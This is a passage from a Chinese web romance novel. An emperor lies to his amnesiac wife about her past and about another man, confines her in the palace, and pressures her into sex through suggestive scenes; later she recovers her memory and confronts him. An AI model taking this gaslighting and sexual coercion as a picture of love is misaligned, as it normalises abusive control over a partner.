这是沈念醒来后唯一感到疑惑的事,裴争乃是当朝太子,身份地位和她不止差了一截,她不过沈府忍气吞声的庶女,被江氏折磨,最大的愿望便是嫁给一位如意郎君,不用有权,只爱她一人就好。 没想到,竟然嫁了当今太子。 裴争低笑一声,解释道:“因为朕爱你,非你不可,卿卿爱朕,也非朕不可。” “你我二人,郎情妾意,何人能拦?” 听着他的话,沈念也没想起什么,那片空白无论如何也不能填补,这种感觉空落落的,很难受。 不过就在她不打算在问时,那个梦中一闪而过的名字,再次浮上心头,宋淮之……宋淮之,他到底是谁? 心中疑惑不解,她忍不住喃喃出声:“宋淮之……他,是谁?” 话音未落,她能清晰地感受到身后男人的身体瞬间僵硬,此时殿内的空气像是凝结,只有那纱帐随风飘荡。 良久,他才问道:“卿卿想到关于他什么了?” 男人的语气带着一丝丝探究,甚至藏着不可察觉的冷意。 沈念转过身,对上男人的视线,再次问道:“陛下,他是谁?” 这个名字不止一次出现过,就像是此前唤过千次万次,她断定,此人定与她有牵扯。 见瞒不过,裴争凝视着她,压下眸中的情绪,以怜惜与沉痛覆盖,他叹了口气,将她重新揽入怀中,下巴抵着她的头顶,甚至吻了吻,“他……卿卿不该记住,此前你嫡母江氏想将你许配给他做妾室,又将你亲手送到他榻上,是朕出现救了你……” “真的?” “自然是真的,若不是朕,卿卿那时就会弄了清白,所以他并非好人,卿卿记得他,是因为他给你造成了太深的伤害……” 宋淮之这三个字,倒不像是坏人,没想到实际竟能连同江氏害人,她恨恨咬了咬牙,“他们……他们竟如此可恶!” 此前她确实与江氏不合,但再怎么样也不能把她送给别人吧! “嗯,可恶至极。”裴争吻了吻她的额间,声音带着引诱的意味:“所以卿卿忘记他,不要再提他,眼下你忘记,可是朕没忘记。每次提起,朕都会想起你当初无助的模样,心口止不住疼,所以莫要再提他,好不好?” 沈念看着帝王已红了眼眶,她心头一软,涌起几丝愧疚,轻轻吻向他的唇角,“好,我再也不提他,把他彻底忘了,你莫要伤心。” “天色不早了,我们睡吧。” “好,” 待沈念闭上眼睛后,呼吸变得均匀绵长,确认她熟睡后,裴争悄悄睁眼看着她,月光透过纱帐落在她x身上,肌肤莹白,红唇藕臂,穿着极薄的纱衣,只一眼便能瞧见她的颈间,肩头……处处是他落下的痕迹。 得偿所愿的掌控感涌上心头,他轻轻摩挲着姑娘的侧脸,唇角缓动。 * 次日沈念醒来时,那男人已不在,想起昨夜种种,守夜的宫女一定都听到了,她脸色依旧有些发烫,不敢正视服侍的宫女。 用过早膳后,她倚在罗汉床上悠闲自在看着书,拿起一本医书翻阅,她竟然发现自己对医术莫名亲切,就好似曾经钻研过,不知不觉沉浸其中。 到了晚间,裴争又来了,扔下身上带着寒气的绒氅,凑到她身侧,将她揽入怀中,“卿卿,朕想你了。” 突然落入他温热的怀抱,透过衣物,沈念依旧能感受到他身子的炙热,勾得她想起昨夜……她双退发软,轻轻推开他的肩膀,“陛下,我们才分开半日,昨夜我们还……” 她没继续说下去,因为昨夜发生的事,实在难以启齿,不想再提起。 “昨夜怎么?”裴争带着她顺势向身后倒去,使得她整个人伏在胸前,首指熟稔地探入她的衣襟,气息更是越来越灼热,“卿卿快说,昨夜怎么了?” “我……你,” 沈念转过头,没答话,一想到昨夜的场景,她便羞得只想找个地缝钻进去,不想开口谈及。 裴争知她是害羞,但他反倒是希望她可以大胆些,无论在何时,对他应像是亲密夫君,而非帝王,她失去记忆固然是好事,可他贪心,更想让他对自己温柔且大胆。 “卿卿,朕是你的夫君,你同朕是夫妻,我们之间亲密天经地义,像昨夜那样更是常事,也是必然要经历的。 “莫要同朕害羞,你是朕的女人,哪里朕都再清楚不过。” 沈念点了点头,承认此事。 顷刻间,那男人再次吻过来,褪去她的衣物,他就像是一只凶兽,随时都想将她吃入腹中,无论何时何地,都想同她亲近。 意识迷离时,沈念抓着他的臂弯,小声道:“陛下……我,我整日在这殿里,有些闷了。明日……你能否允我出宫走走?” 第70章 “我能出宫么?陛下?” 话音刚落,沈念明显感觉到身上男人的动作一顿,且慢慢放缓,吻向她的颈间,哑声开口:“卿卿,想出宫?” 对方接二连三的动作,让她本来就迷糊的神智更加昏沉,下意识顺着他的话去恳求:“嗯,陛下,你带我出去,好不好?” 她知道自己眼下已嫁给帝王,这两日在宫中也渐渐熟悉,但有时她总觉得皇宫憋闷,尤是睡醒后,有股无形的压迫,逼得她喘不过气。 她想出宫,醒来后又莫名其妙想回沈府看看,这种念头,驱使着她,一刻也不能等。 皎洁的月光映入,恰落在姑娘的脸颊,她发丝微微凌乱,杏眼若含春水,声音半是渴望半是哀求。 裴争轻抚姑娘泛红的眼尾,眸色在不知不觉中冷了几分,声音却依旧很轻:“出宫,做什么?” “我……” 这时,沈念察觉到男人周身似乎散发着一种强大的占有欲,在一点一点将她吞噬,眸子里明明蕴着深情,可她却从心往外害怕,且怕到极致。 缓了几息,她才低喘着气开口:“我想回沈府瞧瞧,只出去这一次……” “沈府?”裴争嗤了一声后,轻啄她的唇,“朕还没来得及同你说,沈国公早在一年前就已告老还乡,你怕是见不到了。” 要是让她见到,一切都完了。 “告老还乡?”沈念心下一惊,霎时间连同身子也紧绷起来,再度开口问:“我……我父亲他告老还乡了?” 怎么会?她父亲明明是那样爱官如命,怎会轻易辞官离开?这三年到底发生了什么? 裴争没忍住闷哼一声后,动作依旧,喘息道:“嗯,所以卿卿见不到他,你若是想出宫,朕过几日带你去。” “为什么不能是明日?”她小声嘀咕着,但对上男人漆黑的眼眸后,她胆怯低下头,“那过几日,陛下一定要带我出宫,莫要忘记。” 她在讨价还价,裴争并没多说什么,只贪婪地吮吸着姑娘身上的香甜,并轻声回应:“嗯,朕应你。” 正说着,他呼吸渐渐重起来,幽深的眸子里,丝毫不加掩饰自己的谷欠念,想将沈念吞入腹中,吃得什么都不剩。 得到男人的回应后,沈念眨着迷离的双眼,又开始陷入沉思,她父亲怎么可能会辞官归乡?就算他愿意,主母江氏也不会同意,毕竟她是那样看重父亲的仕途。 如此看来这其中定有别的事,莫非是阿瑜闯祸?父亲带着全家避祸?那是多大的祸事? 然而就在她思虑之际,身下传来另一种充盈感,她没忍住轻吟出声,对上男人的视线,颤着声音:“陛下……你做什么?” 裴争嘴角勾起一抹得意的笑,朝着她的耳中喝热水,声音低哑,“在想什么?同朕在榻上做这事,怎还不专心?卿卿,你要看着朕,全心全意感受朕……” 说罢,沈念心口狂跳,瞬间红透了耳根,在他加快的冻柞下,话语中带着哭腔:“我不想要了,再也不要了……” 接着,耳畔却响起更大的水声,因他们二人在罗汉床上,裴争只匆匆弄了两次,没再继续下去。 只能说,他很了解她的身子,比她自己还要了解,每次不过三两下,她便可以酥麻无力,以至于她起初对男人的恐惧,也随着一次又一次的男女之欢渐渐消失,她在被迫适应他,身子和心都在被迫适应。 她也能真切感受到,在宫中似浮萍,无处可依,无论记忆还是爱,都是被一双手推动,想探究背后的真相,却被一堵墙完全遮挡,有时清醒,有时又迷茫。 * 接下来的时日里,沈念老实待在寝殿,白日里裴争偶尔会来同她胡闹几次,夜里就算不行房事,也会紧紧拥着她入睡。 有好几次裴昱哭着闹着要同她一起睡,结果最后都被裴争送回去,听嬷嬷说,每日晨起,昱儿在自己寝殿醒来,看不到娘亲,都会在榻上大哭,嘴里还嘟囔着:父皇是坏蛋,再也不同他好了。 就此,他算是彻底记恨上自己的父皇。 因为不能同娘亲一起睡。 …… 这日夜里,裴昱午时来用膳后,没回去,晚上依旧睡在她的榻上,甚至怕裴争趁睡着把他送回去,用绳子将自己绑在床柱上,以为这样便万无一失,而后缩到沈念怀中,便心满意足地睡着了。 沈念看着他的模样,白净的脸颊,睡觉时,还攥着被襟的一角,可爱极了,她心底一片柔软,忍不住亲了亲向他的眉眼,脸颊。 怎料这一幕恰乃被赶来的裴争瞧见,他眸光一沉,二话不说上前解开裴昱手中的绳子。 见状,沈念出手阻止,劝说道:“陛下,今夜能否让昱儿留在这里?孩子才三岁,黏人,再正常不过。” 裴争低笑一声,“他这么大,黏着娘亲,算怎么回事?” “……” 可是他才三岁。 是以,他便将绳子解开,刚抱起时,裴昱忽地惊醒,见自己被裴争抱着,开始哭着拍打他的胳膊,哭喊道:“父皇坏蛋!你放开我!我要同娘亲一起睡。” “陛下……” 听着孩子哭,沈念于心不忍,却不好说什么劝。 最终,无论昱儿如何挣扎,裴争还是将他送到长戈手中,命令带其回寝殿自己睡。 随着哭声越来越远,沈念缩在榻上,眼看着“得逞”的男人去而复返,坐在她身侧,缓缓开口解释:“卿卿,他日后是储君,朕对他寄予厚望,不可黏着娘亲,要顶天立地。” 说罢,他俯身靠近,唇角缓动:“何况,他在这里,朕还如何碰你?嗯?” “我……” 果然,他打的是这个算盘。 沈念还欲推拒,却已被他压下,衣衫尽褪。 * 翌日一早,沈念刚醒,身子乏,堪堪起身用膳时,宫女便来禀报:“娘娘,陛下传来口谕,说今日天气甚好,要带着您出宫闲逛。” 沈念难掩喜色,忙吩咐宫女梳妆,换上衣物,跟宫女来到宫门,坐上了早已备好的车舆。 掀开帷帘,帝王坐在车舆里,见她来了,方才睁开双眸,含笑拍了拍身侧,“卿卿,来,坐到朕身侧。” 沈念犹豫片刻,但最终还是坐过去,接着男人旋即揽上她x的腰肢,将她带入怀中。 突然落入他的怀抱,她心口翻涌,推开他得寸进尺的手,“陛下,你抱着便好……但别过分。” 他们几乎没日没夜都黏在一起,眼下在车舆上,她实在害怕他肆意妄为。 “过分?卿卿说说,朕如何算过分?”他低笑,首已顺着依襟摊进去。 沈念当即吓得往后缩,躲避他的触碰:“自然是……你不准对我有非分之想,不准摸我……” 他的手在她衣内肆意揉捻,弄得她很不舒服,只片刻便涌起一股莫名其妙的燥热。 裴争嗤笑一声,漫不经心,“不行,美人在怀,朕忍不住,也不想忍。” “那我不要同你在车舆里。” 沈念挣扎着要起身,怎料那男人却攥着她的手腕,没让她动。 “卿卿不听话,一出宫就想躲开朕?不跟朕坐,你想去哪?” 他的语气虽温和,却带着几分不容置疑。 “那你别乱碰……” 她小声妥协。 其实她自己也不知为何,竟然能同帝王如此大胆,若是此前她哪里敢这么做?定是帝王的宠爱,让她有恃无恐,总想忤逆,反对。 她想,她大概是疯了。 “好,”裴争笑得意味深长,眼波缓动,“朕不乱、碰。” 一番争论后,沈念乖乖坐回裴争身侧,然而才刚坐回去,他的手却再次覆过来,一直留连于她的后要,小月复,每每濒近边缘却又及时抽回,很有分寸,又很放肆。 “你……陛下不守信用!” 沈念已被他弄得面红耳赤,说出的话也带着莫名其妙的娇。 “朕哪里不守信用,朕又没乱摸。”裴争挑眉低笑,“朕只答应你不乱摸。” 他刻意加重“乱”这个字。 沈念被气得不知该说什么好,她总是被对方骗,且每次都被骗得什么都不剩。 见姑娘真要恼,裴争收起玩心,不再逗弄她,只老实抱着,良久后,他再次开口:“卿卿许是因为失忆不习惯,此前你同朕,恨不得时时刻刻都黏在一起。” 说着说着,他眸中闪过几丝落寞,“等卿卿想起来就好了。” “真的?” 看着他这般,沈念心底生出几抹愧疚,明明方才是她被占可便宜,怎么如今倒成了她的错? 她心一软,主动凑过去,抱住他,柔声安慰:“陛下,你莫要难过,待我想起来,就好了。” 裴争抱紧她,语声低沉又暧昧:“卿卿,朕爱你,比你想的还要爱你。” “朕为了你,可以去死,你说你也爱朕,好不好?” “我知道,我也……”不知为何“爱”这个字,沈念怎么也说不出口,舌头似打结,最后只化作一句勉强的,“我,我也爱你陛下。” 她想,她是爱的, 否则,她绝对不会同他有任何亲密接触。 听到沈念口中说爱他,这是她第一次对他说爱……裴争吻向她的唇,将她抱起来,落在他的腿上,“朕爱你,卿卿。” 两个人吻了片刻,车舆缓缓停下,裴争扶着她,一同下了车舆。《 》 70-80 第71章 两个人吻了片刻,车舆缓缓停下,裴争扶着她,一同下了车舆。 沈念不知道裴争会带她去何处,直到下了车舆后,她才发现眼前是京城最负盛名的酒楼,望仙楼。 她不禁小声问道:“陛下,为何带我来此处?” 裴争揽着她的腰肢,低笑道:“此前卿卿最喜欢来此处。” 听男人如此说,她心底莫名掠过几丝狐疑,她喜欢来此处?只是她此前从不喜热闹,怎么会喜欢来酒楼? 最后,只能任他拉着自己进去,楼里很安静,并无闲杂人等,想来是提前清了场,毕竟帝王来此,即便是微服,也不容有半分差池。 入内后,小二引着她同裴争入了二楼雅间,眼下已近黄昏,华灯初上,长街人流如织,街上各式店铺琳琅满目,热闹至极。 此处视野极佳,果然是京城最大的酒,沈念此前从没来过此处,一来是因为女儿家身份,二来便是此处极贵,一夜万金。 裴争为她倒是舍得花钱。 沈念看着眼下新奇的场景,目不转睛,眸底漾着惊喜,出声唤:“陛下,快过来瞧瞧!” 裴争饮了口酒水,闻声抬眸,见姑娘趴在窗边,侧脸被灯笼映得光洁动人,尤是听闻她欢快的声音,他不自觉嘴角微微上扬,放下酒杯,缓步靠近。 片刻后,沈念的脊背感受到一股热气,温热的手掌覆上她的小腹,是裴争走过来将她拥入怀中。 他的大手很放肆地摸上她的小腹,并凑到她耳畔,“卿卿喜欢么?” 男人温热的呼吸扑过来,还带着淡淡的酒香,引来一阵酥麻,她起初有些不适应,耳根发烫,但想到彼此更亲密的事,已经做过,没什么好害羞的,便轻轻“嗯”了一声,“喜欢,陛下,瞧那里还有一座桥,上面好多少男少女。” 小姑娘指了指坐落于湖泊之上的栱桥,裴争随之望过去,零碎的回忆翻涌,他眸色一沉。 他低头吻向她的颈间,声音低哑,“嗯,去年元宵节,你同朕出宫,就在那座桥上相拥而吻。” “那时卿卿说,最爱朕,要同朕生生死死都要在一起。” “嗯?”沈念偏过头,对上男人深邃的眼眸,确认他没有说谎后,脸颊瞬间绯红:“我——” 怎料她话还未说完,男人铺天盖地的吻便落下,沈念心下一惊,因为他们眼下在窗边,楼下行人只要一抬头,便能窥见他们在做什么。 是以,她开始推搡对方的肩膀拒绝。 裴争当即懂了她的顾虑,顺势将她抱起,放置在内室一张坚实的木案上,高度整好与他持平。 这个吻更深,且带着不容拒绝的气势,直到她快要窒息,男人才稍稍退开,接着他的大手再次不安分地探入她的衣裙。 沈念猛地按住他的手,偏过头,声音带着几丝慌乱,“陛下,别……” 裴争动作顿住,看着她绯红的脸颊和微肿的唇瓣,眸中欲色消退,与她拉开距离,他是忍不住,但不能在此处要她。她方才那样开心,他不能因一时冲动打乱所有,让她累极而归。 沈念鸦睫轻颤,见帝王没有继续的意思,她才从桌案滑下,整理衣裙,微微喘着气,小声提议:“陛下,我们能下去瞧瞧么?” 此前她在沈府时,江氏根本不准她出去玩闹,只有阿瑜偶尔会带她出府,被发现后,少不了责骂。 不过,她为了不连累阿瑜,出府的次数少之又少,更别提像眼下这般能自由自在出来闲逛。 裴争唇角缓动,应允:“卿卿要出去逛逛?好。” 他今夜想宠着她,纵容她。 得了同意,沈念面露喜色,转身便要出门,这时,裴争却握住她的手,“牵紧朕。” 沈念没说话默许他握着,不过片刻,他们二人便来到长街。她被男人紧紧牵着,他更是在她身后相护,穿梭在街上。 沈念对街边一切都好奇,走到一个卖面具的摊贩前停下,并拿起一个威风凛凛的虎形面具,转身扣到裴争脸上,随机忍不住“噗嗤”笑出声。 眼下不在宫中,她确确实实把帝王当成自己的夫君戏弄。 裴争只是嗤笑,没拦她,任由他将面具扣过来,见状,沈念更加放肆,彻底将面具戴在他头上,憋着笑夸赞道:“陛下,真好看。” “好看?”裴争甚至抬手扶正面具,话语带着纵容,“卿卿说好看,便就是好看。” 自她失忆后,他才真正见识到鲜活的沈念是何种模样,除却那双含着春水的眼眸,还有便是灿若春花的笑。 明媚,动人,常惹得他情不自禁,这时他忽然很嫉妒宋淮之,早识得沈念,又带她去了江南三年。 “这样还能防止别的姑娘偷看,甚好。”沈念用手指点了点面具,调侃开口。 裴争被唤回思绪,攥住她的手腕,将她拉近几分,“卿卿这是……吃味了?嗯?” “什么?” “卿卿吃味,别的女人看朕,你在乎朕。” 沈念没想到他能直接说破,就像一个缺爱的孩子,她心想,大概是自己失忆带给他太多不安,思及此,她心底生出愧疚,“我当然在乎陛下,你是我夫君,我爱你,在乎你,天经地义。” 说罢,便被男人抱住,力道很大,就像是要将x她揉进身体里,轻声开口:“朕爱你,卿卿朕真的好爱你。” 沈念抚着他的脊背,“陛下乖,我知道,我也爱你。” 抱了一会儿后,眼瞧着天色已晚,他们准备回宫,而就在这时,人群之中突然冲出来一个人,抱住沈念的腿,声音凄惨而沙哑:“卿卿!是你么卿卿?你还活着,我真的好想你,我好想你啊!” 沈念浑身顿时僵住,因为脚下之人虽脏乱不堪,满面污垢,但那轮廓,那声音……她好像认识。 不,她一定认得, 声音太熟悉了。 裴争率先反应过来,一把将沈念拽至身后,踹开脚下那人,厉声呵斥!“滚,哪里来的疯子?” 他吩咐: “长戈,把他拖下去!” 然,那人疯了一样,死死攥住沈念的衣角,仰起头,擦去面上的泥垢,喊道:“卿卿,你还好么?你看看我!不记得我了?我是宋淮之啊,卿卿……” 宋淮之…… 这个熟悉的名字,如惊雷一样在脑海中炸开,沈念心口一滞,下意识出声:“莫要动他!莫要伤他!” 裴争攥紧她的手,回过头,眸色深沉近墨,声音冰冷:“卿卿,你说什么?” 他的话异常的冷,似乎生气了。 “我,我只是……”沈念被对方的压迫感吓住,支支吾吾说不出完整的话。 裴争脸色阴沉,态度强硬,“没有只是!长戈,将他拖走!立刻马上!” “是,属下遵旨!”身侧的长戈毫不留情拖起地上的宋淮之,他的嘴里一直说,“卿卿,你别靠近他,他就是一个疯子!卿卿!跟我走!” 直到宋淮之被长戈彻底拖走,哭喊声渐行渐远,最终消失在人群中。 沈念愣在原地没动,看到地上留有的几滩血迹,那是方才所谓的宋淮之流的,他那样惨,还受了伤,她忽觉心如刀割,疼到喘不过气。 几息后,裴争走过来要牵她的手,她却下意识将手缩回,避开他的触碰,声音发颤,“陛下……他是宋淮之?他刚刚说的话……是什么意思?” 宋淮之为何说裴争是疯子?为何会唤她卿卿? 裴争没说话,因她闪躲,手僵在半空,眼神一暗,但很快被他压下不悦情绪。 他走上前,捧起她的脸,迫使她看着他的眼睛,语气放缓:“没错卿卿,你知道啊,他是宋淮之,就是那个坏蛋,屡次想轻薄你的坏蛋,可不可以不要提他?嗯?” “坏蛋……” 沈念喃喃重复,可是方才她脑中闪过的片段,记忆中他们二人明明不是这样的, 可是为何裴争说的,会截然相反?他到底是彻底彻尾的坏蛋还是她记忆中,温润如玉的郎君? 真相到底是什么? 而裴争看透她的焦虑,回宫的路上,一直在安慰,也同她讲了许多宋淮之的“恶事”。 一个时辰后,他们二人了回宫。 当夜裴争宿在她的寝殿,他试图靠近,解衣想做些什么,但沈念今夜脑子很乱,背过身,明确拒绝,“陛下,我今日很累,怕是没力侍寝。” 身后的裴争沉默片刻,缩回手,最终没有勉强。 夜里,沈念睡得极不安稳,无数混乱的记忆袭来,有裴争深情的眼眸,还有他强迫索取,在榻上一遍遍折磨。 还有……宋淮之,有他温和的笑,温暖的怀抱,最后那股空白的记忆瞬间被填满,弥补空缺。 裴争,裴争…… 不久,她忽地惊醒,额间沁出冷汗,胸口剧烈起伏,大喊:“不要!不要碰我!” 身侧的裴争几乎同时醒来,下意识要将她揽入怀中安抚, “怎么了卿卿?可是做噩梦了?” “快到朕怀中,莫要害怕,朕在。” 男人的手碰到她的肩膀,沈念推开他,并向后缩去,“你莫要碰我!裴争!” 昏暗的烛光下,她看向他的眼神,充满惊恐和疏离。 第72章 昏暗的烛火下,她看向他的眼神,充满惊恐和疏离。 有那么一瞬间,裴争眼底闪过几丝疑惑,停滞在半空的手,再次试图伸过去安抚,“卿卿,到底怎么了?” 姑娘眼神充满惊恐,身子在微微发抖,似怕极,莫非是想起来了? 男人的手再次伸过来,沈念忽地抱住头,惊叫一声,无数混乱的记忆涌入脑中,头很疼,就像有什么东西炸开,且炸得七零八落。 最终她支撑不住,软软地倒在榻上。 裴争见状慌了神,将她抱在怀中,吩咐道:“传太医!快传太医!” 王太医几乎是踉跄着赶来的,听闻那位娘娘晕倒,他也跟着不安,眼下喜怒哀乐不形于色的帝王,在此刻居然满目忧色,可见若是娘娘真出了什么事,他怕也是脑袋不保。 王太医快步上前,隔着纱帐请脉,几息后,他战战兢兢回禀:“陛下,依臣看,娘娘乃是忧思过渡,加之受了些刺激,气血一时逆涌才会晕倒,静心调养几日便并无大碍。” “刺激?”裴争想起姑娘方才看向自己时,眼神惊恐,他眸色骤寒,再次开口问:“她会恢复记忆么?” 王太医顿时冷汗涔涔,支支吾吾:“这……陛下,娘娘本就是因意外失忆,脑海之中的记忆不稳,若受强烈刺激,确……确有可能恢复记忆,敢问陛下,娘娘……她,她今日是否受到了什么刺激?” 裴争似想到什么,眸色一暗,声音冷得像是淬了冰,“下去吧。” 待太医走后,寝殿内重归寂静,他攥紧拳头,额头上青筋暴起,果然是因为宋淮之,他绝对不过放过破坏他同沈念平静日子的人。 “长戈,宋淮之呢?” 殿外传来长戈恭敬的回应:“回陛下,属下已按照你的吩咐,将宋淮之押入水牢,等陛下发落。” 裴争眸色渐渐发寒,咬着后槽牙:“看好他,别让他死了。” “是!属下遵旨。”长戈懂帝王的意思,乖乖应了声。 他回到榻上,指腹轻抚着沈念的侧脸,“别想起来,卿卿,就这样一辈子陪着朕不好么?卿卿……” 他只希望沈念可以永远忘记,他们可以做一辈子夫妻。 * 昏迷的沈念做了很长很长的梦,从同宋淮之定亲,又同裴争中情蛊,再到成亲被裴争强取豪夺,囚禁、强迫生下昱儿…… 一次次逃跑又被一次次抓回来,换来的是他更变本加厉的折磨,全部都在控制,那男人如同恶魔一样,剥夺了她的一切,包括自由与尊严。 最后,她脑海又想起裴争被剑刺伤,那血滴落在她的脸上,染红了衣裙,她惊得坐起身,不停地喘息着,捂住胸口。 这时,她才发觉手被裴争紧紧攥着,还将她抱紧怀中,“卿卿,你终于醒了,朕快担心死你了,你若是再不醒来,朕会疯。” “头还疼么?还有哪里不舒服?都同朕说。” 沈念愣住,她全部想起来了,关于裴争,关于宋淮之……她都想起来了, 他是谁?他哪里是她的夫君? 一切都是在骗她,他都是在撒谎。 她也想起来失忆前,被怀王绑架,裴争义无反顾替她挡剑,一切的一切,他就是骗子,混蛋。 裴争见她眼神迷茫,再度开口问:“卿卿?嗯?同朕说,哪里疼?” 沈念缓缓抬眸对上男人的视线,轻笑一声,“裴争,这场戏你还要演到什么时候?你还要继续骗我么?” 他的脸皮怎么如此厚, 竟然还要继续骗她,若是她不恢复记忆,是不是打算骗她一辈子?是不是还要想方设法让她想不起来? 怎么会?她怎么就这样轻易被骗,同他做了几日恩爱夫妻。 她竟然还同他那般恩爱。 裴争眸色暗沉下去,看着眼前的姑娘已不在似当初看着她的那样,眼底并无依赖,反而多了几分恨怨。 这一刻,他确信,沈念想起来了, 眼底闪过几丝失望。 他声音沉下去,目光凌厉而锐利:“卿卿,你都想起来了?嗯?” 是啊,她都想起来了。 “是,我都想起来了!”沈念扬手用力打了他一巴掌,大骂道:“你卑鄙无耻,趁我失忆,哄骗于我!裴争,你真让人恶心。” 她只要想起这几日同男人之间的恩爱,在榻上那般缠绵悱恻,巨大的恶心感涌上心头,她止不住恶心,捂着胸口就要吐出来。 裴争一把攥住她的手,“卿卿,朕爱你!你看你同朕也可以好好过的,你为什么就不能忘记过去?为什么非要想起那些不愉快?同朕好好过,留在朕身侧。” “爱你?”沈念捂住耳朵,啊一声叫出来,不想同他说下去,像是听到了天大的笑x话,想抽回手,却被攥得更紧,“我不爱你,你莫要说了,莫要再说了……” “卿卿,朕知道你也爱朕,忘记那些不堪的过去,是朕错了,可是朕都改,朕永远爱你。”随后,裴争扯下腰封,赤血上身,抓起她的手指按上去,“卿卿,这里是你亲手刺的,还有这里,是那日朕救你而留下的,你还不明白么?朕可以为你付出性命。” 触及男人胸前凹凸不平的伤疤,除了剑伤,还有那时,她用簪子刺的,仅刚触碰,她的指尖仿若被烫了一下,立刻缩回去, “我不要,我不爱你,裴争……” 她心口剧烈起伏,说出口的话带着微微颤抖,想起被绑架那日,那男人不顾一切冲到她身前,替她挡了一剑,至今她仍记得,血水将地上的雪尽数染红,浓浓的血腥味萦绕在鼻尖,他流了好多好多的血。 可是她从没想过,让裴争替她去死……她也一点不想让他替她挡剑,欠他什么,更别说欠条命。 她只想和他两清,什么关系都没有,可是为什么就不能如愿? 男人身上的那伤疤就像刀子一样,透过指腹一点点划进她的心脏,疼到如刀绞,呼吸也渐渐变得急促起来。 她疼,更恨。 她忽然觉得自己很委屈,委屈到想哭,那股情绪再也压制不住,泪水从眼尾滑落,宛如一颗颗破碎的珍珠,此刻所有委屈,痛哭,不甘,怨恨……尽数涌上来,仿若将她的心撕成无数碎片,最后只有泪水才能化解。 她想缩回手,却发现自己的手被紧紧攥着,无力挣脱,声音带着哭腔,“裴争……我从来都不要让你替我挡剑的,我宁愿死,也不想欠你什么。” “卿卿,你从不欠朕什么,是朕爱你。”裴争再次攥紧她的手,疯魔笑起来:“朕想要的从来都是你一个人。” “朕只想要你,卿卿……” 两人对视良久,沈念虽被泪水模糊双眼,却依旧能看清男人眼底的漆黑,深若寒潭,还有那不加掩饰的欲色,就快要将她吞噬。 他们僵持了很久,很久。 殿内,一个赤着上身站在榻前,低头俯视榻上姑娘,眼底一片猩红,一个被攥着手,被迫仰视。 烛火摇曳,将男人高大的身影投落在榻上,如一张密不透风的大网,将她牢牢罩住,窒息又绝望。 漫长的对峙,周围的空气仿若凝结。 沈念深深吸了口气,率先开口:“裴争,你放了宋淮之……” 昨夜他突然跑过来,阴差阳错让她恢复记忆,不过她更断定裴争不会放过他,毕竟他可是想让她一辈子都不要想起来, 宋淮之坏了他的好事,又怎么会放过他? “你说什么?” 男人的话语很冷,就算不看他,沈念也知道他眼下的脸色有多阴沉,她没示弱,迎上他的视线,继续道: “裴争,我让你放了宋淮之,你放了他,我已经欠他太多太多了,江南三年,若无他的庇佑与照拂,我早就死了,你放过他吧。” “我欠他的,这辈子都还不清,只要你放了他,我再也不逃了,我求你……我老实在宫中。” 裴争攥着她的手更加用力,看着他视若珍宝的姑娘眼下在低头哀求,还是为另一个男人,他心里好像缺了一块,那股悲伤瞬间冲刷心底的愤怒。 不提起那三年还好,他可以忘记,甚至当成没发生过,但只要一提及,他就会嫉妒发疯,他痛苦三年,想了沈念三年,而她呢?竟然同宋淮之跑去江南生活三年。 但对上沈念的视线,他却怒不起来,而是酸涩,他松开沈念的手,转而捧起她的脸,指腹一点点擦去她的泪水,“卿卿,朕答应你,放了他,好不好?嗯?” “但记住,”他指腹转而摩挲着她的下颌,语气带着帝王不容拒绝的气势,“别再让朕看见你为他流泪。否则,朕不保证不会反悔。” 他俯身,靠近她,气息交融,声音带着一□□哄,也带着一丝自嘲的卑微:“卿卿,哄哄朕。你哄朕开心了,什么都依你。” “裴争……” 她说不出反驳的话。 沈念身体僵硬,鸦睫微颤,还有泪珠随着滚落脸颊,最后终是抬起手臂,搂住他的脖颈,吻上他的唇—— 作者有话说:心跳狂跳三个小时[捂脸笑哭][捂脸笑哭]差点进急诊[捂脸笑哭][捂脸笑哭] 故迟,都懵圈了,忘请假[捂脸笑哭] 第73章 这个吻,没有一丝温情,只有麻木与痛苦,又或许这样吻多了,沈念心中已激不起波澜,只觉得胃里翻江倒海,涌出一股强烈的恶心感。 她猛地侧头躲避,弯腰干呕起来,似要将五脏六腑呕出来,不由得红了眼眶。 裴争攥住她的手,另一只手捏着她的下颌,迫使她仰起苍白的脸看向他,“吻朕,你就这么恶心?” 他竟然有一天也能被人厌恶至此! 沈念没说话,也没动,此刻已没必要再跟他起争执。 “卿卿,现在说话都不愿意同朕说了么?” 裴争眼眸森然,指腹轻轻摩挲着姑娘微肿的唇瓣,方才看着她那样,他心头一跳,强压下将手指探入她口中的冲动,转而抚着她的头,动作刻意轻缓, “跟朕说话卿卿,只要你好好留在朕身侧,朕出放了宋淮之,明日朕就放过他,如何?” “明日么?我要亲眼看着他离开。”沈念终于开口说话,不过透过男人冰冷的眸子,暗自揣摩,她同裴争并没有心意相通,但相处许久,如今能敏锐察觉到他内心到底是什么样的。 譬如眼下,他嘴上说放了宋淮之,可她不信,他的嫉妒心重,睚眦必报,绝对不可能放过曾身为她夫君,更在江南朝夕相处三年的宋淮之。 若是他能轻易放过,那他就不叫裴争。 “你要看着他离开?”裴争眸色一暗,遂又抓住她的手,一根一根玩弄她的手指,吻向她的指腹,似贪恋,还有病态的占有,“好,朕都答应你,不过,你能否给朕一个爱你的机会?” “爱我的机会?”沈念嘴角牵起一抹极淡的笑,旋即又压下去,“好啊,自然可以。” 这男人不仅卑鄙,还不正经,转挑她的敏感处玩弄,眼前的手也是,她不过就是躯壳而已,早已麻木,被她圈在身侧,就是想让她成为他永远的玩物。 闻言,裴争眼波缓动,俯身过来吻向她的额间,鼻尖,唇瓣……再到下巴,他用情至深,竟还带着小心翼翼的温柔, “卿卿,朕日后一定会尊重你,绝不会再为难你,日后,你若是不想同房,朕也不会逼你,只要你留在朕身侧,好不好?” 沈念轻轻嗯了一声,“好……” 后来她累极了,裴争拥着她一同躺下,这次,他竟然破天荒地遵守约定,没再碰她,更没再做任何出格的事,只是紧紧揽着她的腰肢,贴得极近。 但她能感觉到他的动情,对方只要一碰她,身体就会有异样反应,也知道他在强忍着,粗重的呼吸,扑在她的颈间,烫得她睡不着。 她试图挣开他的手,离远些,此刻腰肢上的手臂一僵,本以为身后的男人会似之前那般,强行拉她入怀中,不容她远离半分。 但这一次,他没有。 几息后的他只是缓缓靠近,手臂轻轻搭回她的腰肢,带着一种小心翼翼的试探,见她没躲,才安稳放下。 一夜无话,却无人安眠。 * 次日沈念醒来时,裴争已去上朝,不过几个时辰后,他又来了,并攥住她的手。 沈念没躲,任他攥着,恭谨应声,“臣妾见过陛下。” 